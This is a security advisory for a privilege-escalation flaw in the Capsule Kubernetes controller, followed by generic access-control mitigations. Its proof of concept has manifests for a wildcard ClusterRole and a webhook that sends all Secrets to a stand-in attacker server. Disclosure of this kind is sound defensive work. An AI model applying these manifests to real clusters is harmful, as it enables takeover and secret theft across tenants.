  "details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  \u2193\nCreates TenantResource containing cluster-scoped resources\n  \u2193\nCapsule Controller (cluster-admin) processes RawItems\n  \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
  "id": "GHSA-qjjm-7j9w-pw72",
  "modified": "2026-06-09T10:50:44Z",
  "published": "2026-05-28T17:02:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.